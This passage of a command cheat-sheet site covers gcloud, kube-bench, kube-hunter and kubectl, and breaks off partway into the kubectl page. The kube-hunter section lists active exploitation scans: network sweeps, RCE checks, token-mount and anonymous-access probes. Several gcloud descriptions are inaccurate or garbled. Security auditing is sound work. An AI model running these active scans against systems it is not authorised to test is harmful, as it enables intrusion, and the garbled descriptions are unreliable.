gcloud run deploy my-app --image gcr.io/my-proj/my-app --allow-unauthenticated ``` Instantly compiles a standard Docker container straight into a fully load-balanced, auto-scaling web application. ### gcloud run services list ```bash gcloud run services list ``` Example: ```bash gcloud run services list --platform managed ``` Maps all live auto-scaling container configurations, resolving direct HTTPs public invocation endpoints. ## Pub/Sub Messaging ### gcloud pubsub topics create ```bash gcloud pubsub topics create ``` Example: ```bash gcloud pubsub topics create my-notification-topic ``` Establishes a highly decoupled message ingestion point capable of receiving millions of asynchronous API payloads. ### gcloud pubsub subscriptions pull ```bash gcloud pubsub subscriptions pull ``` Example: ```bash gcloud pubsub subscriptions pull my-sub --auto-ack ``` Manually interrogates a subscription queue, extracting pending messages natively and systematically acknowledging them via CLI. ## Spanner (Global Database) ### gcloud spanner instances list ```bash gcloud spanner instances list ``` Inventories globally distributed strictly-consistent NoSQL relational nodes detailing structural allocation. ## Cloud Functions ### gcloud functions deploy ```bash gcloud functions deploy ``` Example: ```bash gcloud functions deploy log_parser --runtime python39 --trigger-topic system_logs ``` Directly injects Python/Node code bridging it natively into GCP's ecosystem without requiring Dockerfile architectures. ## Cloud Build (CI/CD) ### gcloud builds submit ```bash gcloud builds submit ``` Example: ```bash gcloud builds submit --tag gcr.io/my-proj/hello-world . ``` Uploads the entire localized CWD to Google's build arrays, executing the Docker build remotely to circumvent local compute limitations. ## IAM Service Accounts ### gcloud iam service-accounts keys create ```bash gcloud iam service-accounts keys create ``` Example: ```bash gcloud iam service-accounts keys create ./key.json --iam-account sa@proj.gserviceaccount.com ``` Extracts absolute God-Mode local authentication architectures bypassing MFA to programmatically impersonate cloud environments. ## Source Repositories ### gcloud source repos clone ```bash gcloud source repos clone ``` Example: ```bash gcloud source repos clone my-secure-repo ``` Leverages internal encrypted GCP authentication schemas to clone inherently private VPC-locked Git repositories. ## Artifact Registry ### gcloud artifacts docker tags add ```bash gcloud artifacts docker tags add ``` Example: ```bash gcloud artifacts docker tags add us-east1-docker.pkg.dev/.../image:v1 .../image:latest ``` Manipulates strictly-defined OCI metadata remapping canonical latest pointers onto explicitly secured hash versions. ## Related tools - [AWS CLI](https://terminal.rokibulroni.com/tool/cloud/awscli) - [Azure CLI](https://terminal.rokibulroni.com/tool/cloud/az-cli) - [kubectl](https://terminal.rokibulroni.com/tool/cloud/kubectl) # Tool: kube-bench > Checks whether a Kubernetes cluster is deployed securely by running the CIS Kubernetes Benchmark tests against nodes and control plane. - Category: Cloud - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/cloud/kube-bench - Homepage: https://github.com/aquasecurity/kube-bench - Documentation: https://github.com/aquasecurity/kube-bench/blob/main/docs/running.md - Tags: Kubernetes, CIS benchmark, hardening ## Install - brew: `brew install kube-bench` - docker: `docker run --rm --pid=host -v /etc:/etc:ro -v /var:/var:ro aquasec/kube-bench:latest` ## Basic Execution ### kube-bench ```bash kube-bench ``` Runs the default CIS benchmark checks based on auto-detected Kubernetes version and node type. ### kube-bench run ```bash kube-bench run ``` Explicitly triggers the run command to execute benchmarks using default settings. ### kube-bench version ```bash kube-bench version ``` Displays the installed version of the kube-bench tool. ## Target Selection ### kube-bench run --targets master ```bash kube-bench run --targets master ``` Executes security checks specifically designed for the Kubernetes master/control plane node. ### kube-bench run --targets node ```bash kube-bench run --targets node ``` Executes security checks specifically designed for Kubernetes worker nodes. ### kube-bench run --targets etcd ```bash kube-bench run --targets etcd ``` Runs checks specifically targeting the etcd data store configuration and security. ### kube-bench run --targets policies ```bash kube-bench run --targets policies ``` Runs checks aimed at validating Kubernetes policies and RBAC configurations. ### kube-bench run --targets controlplane ```bash kube-bench run --targets controlplane ``` Target alias often used interchangeably with master to check control plane components. ### kube-bench run --targets master,node ```bash kube-bench run --targets master,node ``` Executes benchmark checks for both master and worker node roles simultaneously. ### kube-bench run --targets master,etcd ```bash kube-bench run --targets master,etcd ``` Combines control plane and etcd checks in a single execution run. ## Output Formatting ### kube-bench run --json ```bash kube-bench run --json ``` Outputs the audit results in structured JSON format for parsing and automation. ### kube-bench run --junit ```bash kube-bench run --junit ``` Outputs the audit results in JUnit XML format for CI/CD pipeline integration. ### kube-bench run --noremediations ```bash kube-bench run --noremediations ``` Runs checks but suppresses the remediation suggestions in the output to reduce clutter. ### kube-bench run --noresults ```bash kube-bench run --noresults ``` Suppresses the detailed results output, useful when only interested in exit codes or logs. ## Specific Checks ### kube-bench run --check ```bash kube-bench run --check ``` Example: ```bash kube-bench run --check 1.1.1 ``` Executes only the specific benchmark check identified by the provided ID. ### kube-bench run --check ```bash kube-bench run --check ``` Example: ```bash kube-bench run --check 1.1.1,1.1.2,1.1.3 ``` Executes a comma-separated list of specific benchmark check IDs. ## Skipping Checks ### kube-bench run --skip ```bash kube-bench run --skip ``` Example: ```bash kube-bench run --skip 1.1.1 ``` Runs all default checks except the specific ID provided. ### kube-bench run --skip ```bash kube-bench run --skip ``` Example: ```bash kube-bench run --skip 1.1.1,1.1.2 ``` Runs all default checks while excluding the comma-separated list of IDs. ## Benchmark Versions ### kube-bench run --benchmark cis-1.5 ```bash kube-bench run --benchmark cis-1.5 ``` Forces the usage of the legacy CIS Kubernetes Benchmark v1.5. ### kube-bench run --benchmark cis-1.6 ```bash kube-bench run --benchmark cis-1.6 ``` Forces the usage of the CIS Kubernetes Benchmark v1.6. ### kube-bench run --benchmark cis-1.7 ```bash kube-bench run --benchmark cis-1.7 ``` Forces the usage of the CIS Kubernetes Benchmark v1.7. ### kube-bench run --benchmark cis-1.20 ```bash kube-bench run --benchmark cis-1.20 ``` Forces the usage of the CIS Kubernetes Benchmark v1.20. ### kube-bench run --benchmark cis-1.23 ```bash kube-bench run --benchmark cis-1.23 ``` Forces the usage of the CIS Kubernetes Benchmark v1.23. ## Cloud Specific ### kube-bench run --benchmark eks-1.2.0 ```bash kube-bench run --benchmark eks-1.2.0 ``` Runs the CIS benchmark specifically tailored for Amazon EKS v1.2.0. ### kube-bench run --benchmark gke-1.0 ```bash kube-bench run --benchmark gke-1.0 ``` Runs the CIS benchmark specifically tailored for Google Kubernetes Engine (GKE). ### kube-bench run --benchmark aks-1.0 ```bash kube-bench run --benchmark aks-1.0 ``` Runs the CIS benchmark specifically tailored for Azure Kubernetes Service (AKS). ### kube-bench run --benchmark rh-0.0.1 ```bash kube-bench run --benchmark rh-0.0.1 ``` Runs the benchmark specifically tailored for Red Hat OpenShift environments. ### kube-bench run --benchmark ack-1.0 ```bash kube-bench run --benchmark ack-1.0 ``` Runs the CIS benchmark specifically tailored for Alibaba Cloud Container Service. ## Version Override ### kube-bench run --version ```bash kube-bench run --version ``` Example: ```bash kube-bench run --version 1.24 ``` Manually specifies the Kubernetes version to select the appropriate benchmark set. ## Configuration ### kube-bench run --config-dir ```bash kube-bench run --config-dir ``` Example: ```bash kube-bench run --config-dir /etc/kube-bench/cfg ``` Specifies a custom directory path to look for benchmark configuration files. ### kube-bench run --config ```bash kube-bench run --config ``` Example: ```bash kube-bench run --config /custom/config.yaml ``` Specifies a custom configuration file instead of the default config.yaml. ## Logging ### kube-bench run --log_level 1 ```bash kube-bench run --log_level 1 ``` Sets the logging verbosity to level 1 for basic info logging. ### kube-bench run --log_level 2 ```bash kube-bench run --log_level 2 ``` Sets the logging verbosity to level 2 for more detailed debug information. ## Advanced Workflow ### kube-bench run --targets master --json --noremediations ```bash kube-bench run --targets master --json --noremediations ``` Runs master checks outputting pure JSON without remediation text for cleaner data ingestion. ### kube-bench run --targets node --junit --skip ```bash kube-bench run --targets node --junit --skip ``` Example: ```bash kube-bench run --targets node --junit --skip 4.1.1 ``` Runs node checks, skips a known false positive, and outputs JUnit XML for CI pipelines. ### kube-bench run --targets etcd --check --json ```bash kube-bench run --targets etcd --check --json ``` Example: ```bash kube-bench run --targets etcd --check 2.1,2.2 --json ``` Audits specific etcd configurations and outputs the result in JSON. ### kube-bench run --benchmark cis-1.23 --targets master ```bash kube-bench run --benchmark cis-1.23 --targets master ``` Forces a specific modern CIS benchmark version on the master node regardless of detection. ## Containerized Execution ### kube-bench run --targets node --version ```bash kube-bench run --targets node --version ``` Example: ```bash kube-bench run --targets node --version 1.25 ``` Typical command used inside a Job definition to audit the node hosting the pod. ## File Output ### kube-bench run --json > report.json ```bash kube-bench run --json > report.json ``` Standard shell redirection to save JSON audit results to a file for later analysis. ### kube-bench run --junit > junit.xml ```bash kube-bench run --junit > junit.xml ``` Standard shell redirection to save JUnit XML results to a file for Jenkins/GitLab. ## Performance Tuning ### kube-bench run --v 0 ```bash kube-bench run --v 0 ``` Runs with minimal verbosity, reducing IO overhead during execution. ## Blue Team Validation ### kube-bench run --check ```bash kube-bench run --check ``` Example: ```bash kube-bench run --check 1.2.1,1.2.2 ``` Rapidly validates the state of specific critical control plane configurations during an incident. ## Compliance Audit ### kube-bench run --targets master,node,etcd --json ```bash kube-bench run --targets master,node,etcd --json ``` Full cluster compliance sweep outputting a comprehensive JSON report. ## Custom Config ### kube-bench run --config-dir cfg/ --benchmark ```bash kube-bench run --config-dir cfg/ --benchmark ``` Example: ```bash kube-bench run --config-dir cfg/ --benchmark custom-1.0 ``` Runs a custom-defined benchmark suite located in a specific directory. ## Specific Check Group ### kube-bench run --check 1.1 ```bash kube-bench run --check 1.1 ``` Runs all sub-checks under section 1.1 (e.g., API Server configuration). ## Environment Override ### kube-bench run --version ```bash kube-bench run --version ``` Example: ```bash kube-bench run --version 1.15 ``` Simulates an audit for an older Kubernetes version to test legacy compliance rules. ## EKS Analysis ### kube-bench run --benchmark eks-1.2.0 --targets node ```bash kube-bench run --benchmark eks-1.2.0 --targets node ``` Validates worker node security posture specifically against EKS standards. ## GKE Analysis ### kube-bench run --benchmark gke-1.0 --targets node ```bash kube-bench run --benchmark gke-1.0 --targets node ``` Validates worker node security posture specifically against GKE standards. ## Combined Filter ### kube-bench run --targets master --skip ```bash kube-bench run --targets master --skip ``` Example: ```bash kube-bench run --targets master --skip 1.1.9,1.1.10 ``` Runs master checks while ignoring known failing controls that are accepted risks. ## DevOps Pipeline ### kube-bench run --targets node --json --noremediations > result.json ```bash kube-bench run --targets node --json --noremediations > result.json ``` Optimized command for automated pipeline jobs to capture node status silently. ## Interactive Debug ### kube-bench run --log_level 2 --check ```bash kube-bench run --log_level 2 --check ``` Example: ```bash kube-bench run --log_level 2 --check 1.2.5 ``` High verbosity run on a single check to troubleshoot why a specific audit is failing. ## Post-Incident ### kube-bench run --targets policies --json ```bash kube-bench run --targets policies --json ``` Audits RBAC and ServiceAccount policies specifically to detect permission drifts. ## Legacy Support ### kube-bench run --benchmark cis-1.4 ```bash kube-bench run --benchmark cis-1.4 ``` Runs very old benchmark definitions for maintaining legacy system audits. ## Control Plane Only ### kube-bench run --targets controlplane --json ```bash kube-bench run --targets controlplane --json ``` Focuses strictly on the control plane components for managed service validations. ## Automated Parsing ### kube-bench run --json --noresults ```bash kube-bench run --json --noresults ``` Generates JSON structure without human-readable summaries, maximizing parsing speed. ## Full System Audit ### kube-bench run --targets master,node,etcd,policies ```bash kube-bench run --targets master,node,etcd,policies ``` Maximum coverage command targeting every available component and policy. ## Specific Benchmark Path ### kube-bench run --config-dir /opt/kube-bench/cfg ```bash kube-bench run --config-dir /opt/kube-bench/cfg ``` Directs kube-bench to load configuration from a non-standard system location. ## CI/CD Gate ### kube-bench run --junit --targets master --skip ```bash kube-bench run --junit --targets master --skip ``` Example: ```bash kube-bench run --junit --targets master --skip 1.2.20 ``` Production gate check outputting JUnit, ignoring flaky tests to prevent build failures. ## Quick Sanity Check ### kube-bench run --check 1.1.1,1.1.2,1.1.3 ```bash kube-bench run --check 1.1.1,1.1.2,1.1.3 ``` Runs only the first three API server checks as a quick health signal. ## Documentation Generation ### kube-bench run --json > current_audit.json ```bash kube-bench run --json > current_audit.json ``` Snapshots the current security posture to a JSON file for documentation and comparison. ## Related tools - [kube-hunter](https://terminal.rokibulroni.com/tool/cloud/kube-hunter) - [kubectl](https://terminal.rokibulroni.com/tool/cloud/kubectl) - [Docker Bench for Security](https://terminal.rokibulroni.com/tool/cloud/docker-bench-security) # Tool: kube-hunter > Hunts for security weaknesses in Kubernetes clusters from inside or outside, reporting exposed components and known issues. Archived upstream but still informative. - Category: Cloud - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/cloud/kube-hunter - Homepage: https://github.com/aquasecurity/kube-hunter - Tags: Kubernetes, penetration testing ## Install - pipx: `pipx install kube-hunter` - docker: `docker run -it --rm --network host aquasec/kube-hunter` ## Basic Execution ### kube-hunter ```bash kube-hunter ``` Runs kube-hunter in interactive mode to select scan types manually. ### kube-hunter --list ```bash kube-hunter --list ``` Lists all available passive and active hunters (plugins) currently supported. ### kube-hunter --version ```bash kube-hunter --version ``` Displays the current version of the kube-hunter tool. ### kube-hunter --help ```bash kube-hunter --help ``` Shows the help menu with all available command-line arguments and flags. ## Remote Scanning ### kube-hunter --remote [IP] ```bash kube-hunter --remote [IP] ``` Example: ```bash kube-hunter --remote 192.168.1.100 ``` Scans a specific remote IP address for Kubernetes vulnerabilities. ### kube-hunter --remote [DNS_NAME] ```bash kube-hunter --remote [DNS_NAME] ``` Example: ```bash kube-hunter --remote k8s-cluster.example.com ``` Scans a specific remote domain name for Kubernetes exposure. ### kube-hunter --cidr [CIDR_BLOCK] ```bash kube-hunter --cidr [CIDR_BLOCK] ``` Example: ```bash kube-hunter --cidr 192.168.0.0/24 ``` Performs a scan across an entire network CIDR range to find Kubernetes nodes. ### kube-hunter --remote [IP1] --remote [IP2] ```bash kube-hunter --remote [IP1] --remote [IP2] ``` Example: ```bash kube-hunter --remote 192.168.1.50 --remote 192.168.1.51 ``` Scans multiple distinct remote IP addresses in a single execution. ### kube-hunter --url [URL] ```bash kube-hunter --url [URL] ``` Example: ```bash kube-hunter --url https://192.168.1.100:6443 ``` Targets a specific Kubernetes API server URL for assessment. ## Local Scanning ### kube-hunter --interface ```bash kube-hunter --interface ``` Selects a local network interface to scan via interactive mode. ### kube-hunter --network [INTERFACE_TYPE] ```bash kube-hunter --network [INTERFACE_TYPE] ``` Example: ```bash kube-hunter --network host ``` Configures the network scanning mode to use the host network interface. ## Active Hunting ### kube-hunter --active ```bash kube-hunter --active ``` Enables active hunting mode to attempt harmless exploitation of found vulnerabilities. ### kube-hunter --remote [IP] --active ```bash kube-hunter --remote [IP] --active ``` Example: ```bash kube-hunter --remote 192.168.1.100 --active ``` Performs an active vulnerability scan against a specific remote target. ### kube-hunter --cidr [CIDR] --active ```bash kube-hunter --cidr [CIDR] --active ``` Example: ```bash kube-hunter --cidr 10.0.0.0/16 --active ``` Scans a network range and actively verifies vulnerabilities on discovered nodes. ## Reporting and Output ### kube-hunter --report json ```bash kube-hunter --report json ``` Outputs the scan results in JSON format for automated parsing. ### kube-hunter --report yaml ```bash kube-hunter --report yaml ``` Outputs the scan results in YAML format for configuration management tools. ### kube-hunter --report plain ```bash kube-hunter --report plain ``` Outputs the scan results in plain text format for human readability. ### kube-hunter --log [LEVEL] ```bash kube-hunter --log [LEVEL] ``` Example: ```bash kube-hunter --log debug ``` Sets the logging verbosity level to debug for detailed troubleshooting. ### kube-hunter --log warn ```bash kube-hunter --log warn ``` Reduces logging verbosity to show only warnings and errors. ### kube-hunter --statistics ```bash kube-hunter --statistics ``` Displays execution statistics at the end of the scan. ## Targeted Hunting ### kube-hunter --include-hunters [HUNTER_NAME] ```bash kube-hunter --include-hunters [HUNTER_NAME] ``` Example: ```bash kube-hunter --include-hunters KubeletDiscovery ``` Runs only the specified hunter, skipping all other checks. ### kube-hunter --exclude-hunters [HUNTER_NAME] ```bash kube-hunter --exclude-hunters [HUNTER_NAME] ``` Example: ```bash kube-hunter --exclude-hunters KubeletDiscovery ``` Runs all hunters except the one specified. ### kube-hunter --include-hunters [LIST] ```bash kube-hunter --include-hunters [LIST] ``` Example: ```bash kube-hunter --include-hunters KubeletDiscovery,DashboardDiscovery ``` Runs a comma-separated list of specific hunters for a focused audit. ## Internal/Pod Mode ### kube-hunter --pod ```bash kube-hunter --pod ``` Flags execution as running inside a pod to leverage internal service discovery. ### kube-hunter --quick ```bash kube-hunter --quick ``` Performs a quick scan by limiting subnet ranges and timeouts. ## Automation & Integration ### kube-hunter --dispatch stdout ```bash kube-hunter --dispatch stdout ``` Forces results to standard output, useful for simple pipe operations. ### kube-hunter --dispatch http --dispatch-url [URL] ```bash kube-hunter --dispatch http --dispatch-url [URL] ``` Example: ```bash kube-hunter --dispatch http --dispatch-url https://collector.example.com/api ``` Sends scan reports via HTTP POST to a remote collector URL. ## Advanced Configuration ### kube-hunter --mapping ```bash kube-hunter --mapping ``` Outputs a mapping of the discovered nodes and cluster topology. ### kube-hunter --cidr [CIDR] --mapping ```bash kube-hunter --cidr [CIDR] --mapping ``` Example: ```bash kube-hunter --cidr 192.168.0.0/16 --mapping ``` Maps the topology of a specific network range without running full vulnerability checks. ## Cloud Security Posture ### kube-hunter --remote [IP] --include-hunters GKEKubeletAnonymous ```bash kube-hunter --remote [IP] --include-hunters GKEKubeletAnonymous ``` Example: ```bash kube-hunter --remote 35.1.1.1 --include-hunters GKEKubeletAnonymous ``` Checks specifically for anonymous Kubelet access on GKE clusters. ### kube-hunter --remote [IP] --include-hunters EKSKubeletAnonymous ```bash kube-hunter --remote [IP] --include-hunters EKSKubeletAnonymous ``` Example: ```bash kube-hunter --remote 54.1.1.1 --include-hunters EKSKubeletAnonymous ``` Checks specifically for anonymous Kubelet access on EKS clusters. ### kube-hunter --remote [IP] --include-hunters AKSKubeletAnonymous ```bash kube-hunter --remote [IP] --include-hunters AKSKubeletAnonymous ``` Example: ```bash kube-hunter --remote 20.1.1.1 --include-hunters AKSKubeletAnonymous ``` Checks specifically for anonymous Kubelet access on AKS clusters. ## Blue Team Validation ### kube-hunter --remote [IP] --report json > scan_results.json ```bash kube-hunter --remote [IP] --report json > scan_results.json ``` Example: ```bash kube-hunter --remote 192.168.1.100 --report json > scan_results.json ``` Saves remote scan results to a JSON file for defensive analysis. ### kube-hunter --cidr [CIDR] --active --log warn ```bash kube-hunter --cidr [CIDR] --active --log warn ``` Example: ```bash kube-hunter --cidr 10.0.0.0/8 --active --log warn ``` Runs a low-noise active scan over a large network to identify critical misconfigurations. ## Purple Team Simulation ### kube-hunter --active --include-hunters MountServiceToken ```bash kube-hunter --active --include-hunters MountServiceToken ``` Actively attempts to mount and read service account tokens to simulate privilege escalation. ### kube-hunter --active --include-hunters AnonymousAccess ```bash kube-hunter --active --include-hunters AnonymousAccess ``` Actively tests if anonymous users can access restricted API endpoints. ## Incident Response ### kube-hunter --list | grep [KEYWORD] ```bash kube-hunter --list | grep [KEYWORD] ``` Example: ```bash kube-hunter --list | grep etcd ``` Filters the hunter list to identify available checks for specific components like etcd. ### kube-hunter --remote [IP] --include-hunters EtcdRemoteAccess ```bash kube-hunter --remote [IP] --include-hunters EtcdRemoteAccess ``` Example: ```bash kube-hunter --remote 192.168.1.20 --include-hunters EtcdRemoteAccess ``` Verifies if the etcd service is exposed and accessible remotely. ## Advanced Workflow ### kube-hunter --remote [IP] --report json --dispatch http --dispatch-url [URL] ```bash kube-hunter --remote [IP] --report json --dispatch http --dispatch-url [URL] ``` Example: ```bash kube-hunter --remote 10.10.10.10 --report json --dispatch http --dispatch-url https://webhook.site/uuid ``` Combines JSON reporting with HTTP dispatch for immediate remote logging. ### kube-hunter --pod --active --report yaml ```bash kube-hunter --pod --active --report yaml ``` Runs inside a pod in active mode and generates a YAML report for GitOps processing. ### kube-hunter --cidr [CIDR] --exclude-hunters [NOISY_HUNTERS] ```bash kube-hunter --cidr [CIDR] --exclude-hunters [NOISY_HUNTERS] ``` Example: ```bash kube-hunter --cidr 192.168.0.0/16 --exclude-hunters KubeletDiscovery,ProxyDiscovery ``` Scans a network while excluding specific noisy discovery hunters. ## Validation & Compliance ### kube-hunter --include-hunters DashboardDiscovery,DashboardProxy ```bash kube-hunter --include-hunters DashboardDiscovery,DashboardProxy ``` Focuses the audit strictly on Kubernetes Dashboard exposures. ### kube-hunter --include-hunters KubeletReadOnlyPorts,KubeletSecurePort ```bash kube-hunter --include-hunters KubeletReadOnlyPorts,KubeletSecurePort ``` Focuses the audit strictly on Kubelet port configurations. ## Active Exploitation ### kube-hunter --active --include-hunters RCE ```bash kube-hunter --active --include-hunters RCE ``` Attempts to verify Remote Code Execution vulnerabilities in discovered services. ## Pipeline Integration ### kube-hunter --cidr [CIDR] --report json --log none ```bash kube-hunter --cidr [CIDR] --report json --log none ``` Example: ```bash kube-hunter --cidr 172.16.0.0/12 --report json --log none ``` Runs a silent scan outputting only JSON, ideal for parsing in CI pipelines. ## Specific Vulnerability ### kube-hunter --include-hunters CVE-2018-1002105 ```bash kube-hunter --include-hunters CVE-2018-1002105 ``` Checks specifically for the critical Kubernetes privilege escalation vulnerability (if supported by version). ## Specific Service ### kube-hunter --remote [IP] --include-hunters ProxyDiscovery ```bash kube-hunter --remote [IP] --include-hunters ProxyDiscovery ``` Example: ```bash kube-hunter --remote 192.168.1.1 --include-hunters ProxyDiscovery ``` Checks specifically for an exposed Kubernetes Proxy service. ### kube-hunter --remote [IP] --include-hunters AzureSpnExposure ```bash kube-hunter --remote [IP] --include-hunters AzureSpnExposure ``` Example: ```bash kube-hunter --remote 192.168.1.5 --include-hunters AzureSpnExposure ``` Checks for exposed Azure Service Principal Names in the cluster. ## Network Mapping ### kube-hunter --cidr [CIDR] --quick --report json ```bash kube-hunter --cidr [CIDR] --quick --report json ``` Example: ```bash kube-hunter --cidr 192.168.1.0/24 --quick --report json ``` Performs a fast network discovery scan and outputs results as JSON. ## Full Audit ### kube-hunter --remote [IP] --active --log debug ```bash kube-hunter --remote [IP] --active --log debug ``` Example: ```bash kube-hunter --remote 192.168.1.10 --active --log debug ``` Runs a comprehensive active audit on a single host with full debug logging. ## Containerized Execution ### docker run -it --rm --network host aquasec/kube-hunter ```bash docker run -it --rm --network host aquasec/kube-hunter ``` Runs the official kube-hunter container using the host network for visibility. ### docker run --rm aquasec/kube-hunter --cidr [CIDR] ```bash docker run --rm aquasec/kube-hunter --cidr [CIDR] ``` Example: ```bash docker run --rm aquasec/kube-hunter --cidr 192.168.1.0/24 ``` Runs the kube-hunter container to scan a specific remote CIDR. ### docker run --rm aquasec/kube-hunter --pod ```bash docker run --rm aquasec/kube-hunter --pod ``` Runs the container in pod mode (useful when deployed as a Job inside K8s). ## Complex Workflow ### kube-hunter --cidr [CIDR] --active --dispatch http --dispatch-url [URL] --report json ```bash kube-hunter --cidr [CIDR] --active --dispatch http --dispatch-url [URL] --report json ``` Example: ```bash kube-hunter --cidr 10.0.0.0/8 --active --dispatch http --dispatch-url http://log-server:8080 --report json ``` Maximal command combining range scan, active hunting, JSON reporting, and HTTP dispatch. ## Specific Hunter ### kube-hunter --include-hunters ApiServerDiscovery ```bash kube-hunter --include-hunters ApiServerDiscovery ``` Limits the scan to identifying if the API server is discoverable. ### kube-hunter --include-hunters EtcdDiscovery ```bash kube-hunter --include-hunters EtcdDiscovery ``` Limits the scan to identifying if the Etcd service is discoverable. ### kube-hunter --active --include-hunters KubectlClient ```bash kube-hunter --active --include-hunters KubectlClient ``` Actively checks if an exposed kubectl client configuration can be exploited. ### kube-hunter --active --include-hunters HelmDiscovery ```bash kube-hunter --active --include-hunters HelmDiscovery ``` Checks for exposed Helm Tiller instances (relevant for older clusters). ## Timeout Tuning ### kube-hunter --remote [IP] --request-timeout [SECONDS] ```bash kube-hunter --remote [IP] --request-timeout [SECONDS] ``` Example: ```bash kube-hunter --remote 192.168.1.1 --request-timeout 5 ``` Sets a custom timeout for network requests to handle slow networks. ## Cleanup ### pkill -f kube-hunter ```bash pkill -f kube-hunter ``` Forcefully terminates running kube-hunter processes. ## Related tools - [kube-bench](https://terminal.rokibulroni.com/tool/cloud/kube-bench) - [kubectl](https://terminal.rokibulroni.com/tool/cloud/kubectl) # Tool: kubectl > The Kubernetes command line: inspect and manage clusters, workloads, RBAC and secrets — and check what an identity is allowed to do. - Category: Cloud - Commands: 125 - Page: https://terminal.rokibulroni.com/tool/cloud/kubectl - Homepage: https://kubernetes.io/docs/reference/kubectl/ - Documentation: https://kubernetes.io/docs/reference/kubectl/quick-reference/ - Tags: Kubernetes, containers, RBAC ## Install - apt: `sudo snap install kubectl --classic` - brew: `brew install kubectl` - windows: `winget install Kubernetes.kubectl` ## Basic Syntax & Help ### kubectl --help ```bash kubectl --help ``` Displays the root level help menu for kubectl commands and global flags. ### kubectl options ```bash kubectl options ``` Lists all global command-line options available for every kubectl command. ## Cluster Information ### kubectl version ```bash kubectl version ``` Example: ```bash kubectl version --output=json ``` Prints the client and server version information in JSON format. ### kubectl cluster-info ```bash kubectl cluster-info ``` Example: ```bash kubectl cluster-info dump ``` Displays addresses of the master and services, or dumps detailed cluster debugging info. ### kubectl api-resources ```bash kubectl api-resources ``` Example: ```bash kubectl api-resources --namespaced=true ``` Lists all supported API resources available on the server, filtered by namespaced scope. ### kubectl api-versions ```bash kubectl api-versions ``` Lists the API versions that are supported by the current Kubernetes cluster. ## Context & Configuration ### kubectl config view ```bash kubectl config view ``` Example: ```bash kubectl config view --minify ``` Displays the current kubeconfig settings, optionally minimizing output to the current context. ### kubectl config get-contexts ```bash kubectl config get-contexts ``` Lists all contexts defined in the kubeconfig file and highlights the active one. ### kubectl config use-context ```bash kubectl config use-context ``` Example: ```bash kubectl config use-context my-cluster-context ``` Switches the current active context to the specified context name. ### kubectl config set-context ```bash kubectl config set-context ``` Example: ```bash kubectl config set-context --current --namespace=dev ``` Modifies the current context to set a default namespace for future commands. ### kubectl config delete-context ```bash kubectl config delete-context ``` Example: ```bash kubectl config delete-context old-cluster ``` Removes the specified context entry from the kubeconfig file. ## Namespace Management ### kubectl get namespaces ```bash kubectl get namespaces ``` Example: ```bash kubectl get ns --show-labels ``` Lists all namespaces in the cluster along with their associated labels. ### kubectl create namespace ```bash kubectl create namespace ``` Example: ```bash kubectl create namespace production --dry-run=client -o yaml ``` Generates the YAML manifest for a new namespace without actually creating it. ## Resource Inspection (Basic) ### kubectl get all ```bash kubectl get all ``` Example: ```bash kubectl get all --all-namespaces ``` Lists most resources (pods, services, deployments) across every namespace in the cluster. ### kubectl get pods ```bash kubectl get pods ``` Example: ```bash kubectl get pods -o wide ``` Lists pods with extended information such as IP address and Node assignment. ### kubectl get services ```bash kubectl get services ``` Example: ```bash kubectl get svc --sort-by=.metadata.name ``` Lists services sorted alphabetically by their name. ## Resource Inspection (Detail) ### kubectl describe pod ```bash kubectl describe pod ``` Example: ```bash kubectl describe pod my-pod-name ``` Shows detailed configuration, status, events, and conditions for a specific pod. ### kubectl describe node ```bash kubectl describe node ``` Example: ```bash kubectl describe node worker-node-01 ``` Displays detailed node status, allocated resources, and system information. ## Imperative Creation ### kubectl run ```bash kubectl run ``` Example: ```bash kubectl run nginx --image=nginx --restart=Never ``` Creates a single pod instance imperatively using the specified image. ### kubectl create deployment ```bash kubectl create deployment ``` Example: ```bash kubectl create deployment web --image=nginx --replicas=3 ``` Creates a deployment with a specified replica count and image. ### kubectl expose ```bash kubectl expose ``` Example: ```bash kubectl expose deployment web --port=80 --target-port=8080 --type=LoadBalancer ``` Exposes a resource as a new Kubernetes Service. ### kubectl create job ```bash kubectl create job ``` Example: ```bash kubectl create job manual-job --image=busybox -- date ``` Creates a Job resource that runs a specific command to completion. ### kubectl create cronjob ```bash kubectl create cronjob ``` Example: ```bash kubectl create cronjob my-cron --image=busybox --schedule="*/1 * * * *" -- date ``` Creates a CronJob that runs on a specific schedule. ## Debugging & Interaction ### kubectl logs ```bash kubectl logs ``` Example: ```bash kubectl logs my-pod ``` Print the logs for a container in a pod or specified resource. ### kubectl logs (follow) ```bash kubectl logs (follow) ``` Example: ```bash kubectl logs -f my-pod ``` Streams the logs for a container in real-time, similar to tail -f. ### kubectl logs (multi-container) ```bash kubectl logs (multi-container) ``` Example: ```bash kubectl logs my-pod -c sidecar-container ``` Retrieves logs from a specific container within a multi-container pod. ### kubectl logs (previous) ```bash kubectl logs (previous) ``` Example: ```bash kubectl logs my-pod --previous ``` Retrieves logs from a previous instantiation of a container (e.g., after a crash). ### kubectl exec ```bash kubectl exec ``` Example: ```bash kubectl exec -it my-pod -- /bin/bash ``` Executes a command inside a container with an interactive TTY. ### kubectl cp ```bash kubectl cp ``` Example: ```bash kubectl cp /local/path my-pod:/container/path ``` Copies files and directories to and from containers. ### kubectl port-forward ```bash kubectl port-forward ``` Example: ```bash kubectl port-forward pod/my-pod 8080:80 ``` Forwards one or more local ports to a pod. ### kubectl attach ```bash kubectl attach ``` Example: ```bash kubectl attach my-pod -c main-app -i -t ``` Attaches to a running process in a container to view output or interact. ### kubectl top pod ```bash kubectl top pod ``` Example: ```bash kubectl top pod --containers ``` Displays current CPU and memory usage for pods and their containers. ### kubectl top node ```bash kubectl top node ``` Displays current CPU and memory usage for nodes. ## Declarative Management ### kubectl apply ```bash kubectl apply ``` Example: ```bash kubectl apply -f ./manifests/ ``` Apply a configuration to a resource by filename or directory. ### kubectl apply (server-side) ```bash kubectl apply (server-side) ``` Example: ```bash kubectl apply -f deployment.yaml --server-side ``` Uses server-side apply to manage field ownership and merge conflicts. ### kubectl delete ```bash kubectl delete ``` Example: ```bash kubectl delete -f deployment.yaml ``` Delete resources defined in a configuration file. ### kubectl diff ```bash kubectl diff ``` Example: ```bash kubectl diff -f deployment.yaml ``` Displays differences between the current live cluster state and the local manifest. ### kubectl replace ```bash kubectl replace ``` Example: ```bash kubectl replace -f pod.yaml --force ``` Replaces a resource by filename, optionally forcing deletion and recreation. ### kubectl kustomize ```bash kubectl kustomize ``` Example: ```bash kubectl kustomize ./overlays/production ``` Builds a kustomization target and prints the resulting YAML to stdout. ### kubectl explain ```bash 